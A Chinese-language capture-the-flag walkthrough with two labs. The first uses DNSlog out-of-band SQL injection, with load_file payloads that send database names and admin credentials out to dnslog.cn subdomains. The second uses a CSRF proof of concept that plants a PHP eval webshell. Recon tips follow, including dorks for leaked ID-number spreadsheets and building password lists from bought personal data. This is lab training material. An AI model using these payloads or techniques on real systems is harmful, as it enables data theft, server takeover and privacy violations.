4.漏洞组合利用靶场
漏洞组合利用靶场
0x01. dns-log注入
一如既往的拿flag
1. DNSLOG回显原理
测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样
我们可以通过设置ip代理池解决,但是盲注往往效率很低,所以产生了DNSlog注入。具体原理如下
首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服
务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A
上查询,这时就能够实时地监控域名查询请求了,图示如下。
DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在多级域名中,传递到自己这,然后读取日志,获取信息。
说道这里你可能还是很迷糊,简单理解就是,你有一个域名,和一个域名解析服务器,当你在地址栏输入这个
域名的时候,会在你的域名解析服务器中留下解析的日志记录,如果域名中有数据库信息,是不是也能显示?
但是要你自己搞这些域名还有域名解析服务器是不是很麻烦,所以网上有人帮你搞好了平台你用就行了
平台网址 :http://www.dnslog.cn/
地址栏输入获取的子域名
zziej2.dnslog.cn
查看解析记录
如果在前面加一个数据库库名的话,是不是也能显示出来,嘿嘿,但是怎么通过sql语句达到像我们在地址栏访问
域名的那样操作呢?还真有,哈哈哈哈 , 那就是load_file()函数,load_file()不仅能够加载本地文件,同时也能对
诸如\\www.test.com
这样的URL发起请求但是一般得是root权限,secure_file_priv为空。
show variables like '%secure%'; 查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件 , mysql 5.6以后默认为null。
show variable like '%secure%'
通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。
dnslog回显只能用于windows系统,原理就是\\
代表Microsoft Windows通用命名约定(UNC)的文件和目
录路径格式利用任何以下扩展存储程序引发DNS地址解析。
在mysql中执行
select load_file('\\\\gggg.zziej2.dnslog.cn\\1.txt')
既然是加载文件,那域名后面必须接一个文件名,可以不存在,多加两个\就是转义了反斜杠
2. 获取库名
http://59.63.200.79:8022/dns/
进入靶场,点击查看新闻,卧槽又是猫舍
判断注入点
http://59.63.200.79:8022/dns/
?id=1 --+
字符型注入,直接load_file进行dns注入
?id=1 and load_file(concat('\\\\',(select database()),'.a8n9jm.dnslog.cn\\1.txt')) --+
.a8n9jm.dnslog.cn 是你在平台上获取的子域名,注意拼接在SQL语句中还有一个点
简单解释一下哈,这里会先执行子语句查询即select database() , 然后执行concat函数,进行\\\\
和库名和后面
的域名+文件名的拼接,然后load_file对这个字符串形式的资源进行访问,然后会进行域名解析,然后在日志中
就能看到解析的记录,记录中有当前的库名,这种叫做数据外带
3. 获取表名
?id=1 and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.a8n9jm.dnslog.cn\\1.txt')) --+
一次只能获取一个表名
通过更换 limit 后面的参数最终特出,maoshe库下只有两个表,一个admin,一个news
我推测,flag应该藏在admin中
4. 获取字段
?id=1 and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name="admin" limit 0,1),'.41x6vr.dnslog.cn\\1.txt')) --+
改变 limit 后面的参数得出,只有三个字段
5. 获取数据
?id=1 and load_file(concat('\\\\',(select username from admin limit 0,1),'.41x6vr.dnslog.cn\\1.txt')) --+ ?id=1 and load_file(concat('\\\\',(select password from admin limit 0,1),'.41x6vr.dnslog.cn\\1.txt')) --+
依然是通过改变 limit 后面的参数得到其他账号和密码,如下图
经过测试验证,果然FlaG-biubiu是这一关的flag
6. dnslog注入总结
不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现在WAF的防护下,很可
能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。dns注入不但使用于sql盲注,还可以用在
xss攻击,命令执行,ssrf,xxe 等
补充 : https://www.cnblogs.com/-qing-/p/10623583.html#_label0
0x02. csrf跨站请求伪造
1. 发现网站指纹
https://hack.zkaq.cn/battle/target?id=fd55addd264dca04
看到提示说flag在csrf目录下,估计是骗我这种善良的小子的
但是在csrf路径下显示的页面,突然让我灵机一动
老哥你看这一堆的指纹信息,没有一点想法?看到建站两个字你想不到网上有公开的源代码?而且下面还有具体的
版本信息,很快我就在某度找到了对应版本的源码。 地址:http://www.aspku.com/c/cms/41276.html
点击下载即可,解压,然后在本地搭建好这个网站。搭建网站应该会吧,放在phpstudy的www目录下
将网站的根目录改为和靶场的一致,然后就是访问csrf/install/ 会默认下一步下一步安装
2. 找到后台
拿flag和网站后台有什么关系?后台啊大哥,一般都会有上传文件这种功能,如果有上传一个一句话木马他不香吗?
http://localhost/csrf/dede/login.php?gotopage=%2Fcsrf%2Fdede%2F本地和靶场搭建的一样的网站
原来在dede下啊,怪不得admin进不去,赶紧去靶场试试
他是真的狗,存在但是关闭了回显,这时候我想到了题目的另一个提醒,就是反馈的页面,管他呢,先打开看看
http://59.63.200.79:8022/csrf/test/
既然是一个反馈页面,而且还有上传文件这个操作,ok,我可以获得两个信息,一是这个反馈信息肯定只有管理
员在后台可以看到,二是这个可以上传文件,上传点有了。先上传一个一句话木马试试
果然不允许上传,那我试试抓包更改扩展名试试
估计是白名单过滤,这个可能不是一个关键的突破点,继续去我们的后台逛逛,有没有上传文件的地方,哎有了
卧槽,我有想法了,既然可以新建文件,新建文件不就是发一个请求吗?如果我在反馈信息中搞一个发这样请求
的url,那么后台管理员一点,不就用他的身份新建了一个一句话木马了吗?而且我猜测,既然后台都没改,上传
的文件保存路径也没有改,csrf嘿嘿,这个新建文件肯定没有做referer或者sessions的校验
3. 利用BP生成csrf的poc
提交新建文件的请求,然后抓包,生成csrf的poc
复制生成的poc的html代码
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost/csrf/dede/file_manage_control.php" method="POST"> <input type="hidden" name="fmdo" value="edit" /> <input type="hidden" name="backurl" value="" /> <input type="hidden" name="activepath" value="/csrf/uploads" /> <input type="hidden" name="filename" value="yjh.php" /> <input type="hidden" name="str" value="<?php @eval($_POST['123']);?>" /> <input type="hidden" name="B1" value="  保 存  " /> <input type="submit" value="Submit request" /> </form> </body></html>
默认生成的poc是点击按钮才能提交,修改成自动提交form表单,这样防止管理员不点击按钮
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form id="aa" action="http://localhost/csrf/dede/file_manage_control.php" method="POST"> <input type="hidden" name="fmdo" value="edit" /> <input type="hidden" name="backurl" value="" /> <input type="hidden" name="activepath" value="/csrf/uploads" /> <input type="hidden" name="filename" value="yjh.php" /> <input type="hidden" name="str" value="<?php @eval($_POST['123']);?>" /> <input type="hidden" name="B1" value="  保 存  " /> </form> <script> function a(){ document.getElementById('aa').submit(); } setTimeout(a,100) </script> </body></html>
将这段html代码保存在文件中,先在本地测试一下,在保证管理员登录的情况下,点击这个html文件
果然自动创建了这个文件,保存路径为csrf/uploads/下,嘿嘿,这就好办了,注意这个测试的html文件中提交的
地址是本地的,需要更换成靶场的,这样才能在靶场的服务端新建木马文件
<form id="aa" action="http://59.63.200.79:8022/csrf/dede/file_manage_control.php" method="POST">
4. 上传csrf
5. 菜刀连接一句话木马
路径 : http://59.63.200.79:8022/csrf/uploads/yjh.php 密码 : 123
然后就可以进网站目录下找flag了,或者直接用终端搜
dir /s flag.php
渗透测试
-
子域名收集
-
子域名挖掘机
-
子域名在线搜索
-
谷歌语法 : inurl: qq.com ( 谷歌镜像站 )
inurl: xxx.edu.cn filetype:xls 身份证 ---> src edu
-
-
开放端口 端口上会开放服务 , 查看这个服务有什么漏洞
-
22 3389 暴力破解 www.bugku.com
-
敏感信息收集
- whois反查 whois.net 国外网站
- 企查查/天眼查 百元买个账号 找手机号 姓名 生成密码字典
- fofa
- 指纹识别 云悉指纹识别 cms在线识别 bugscaner.com 不要死扣
- Powered by cms/公司名字 谷歌语法搜 , oday一大把
- html源代码 搜索cms
- 挨个js访问 , 会有意想不到的信息 ( 魔术手 某东注入漏洞就是这样挖的 )
- robots.txt( 君子协议 ) 不允许怕的路径/文件
- 网站备份数据竟然是国家要求的 试试把所有的域名+www.zip访问一遍 , 电脑磁盘空间绝对不够用
-
后台扫描
- 谷歌语法
- 7kb / 破壳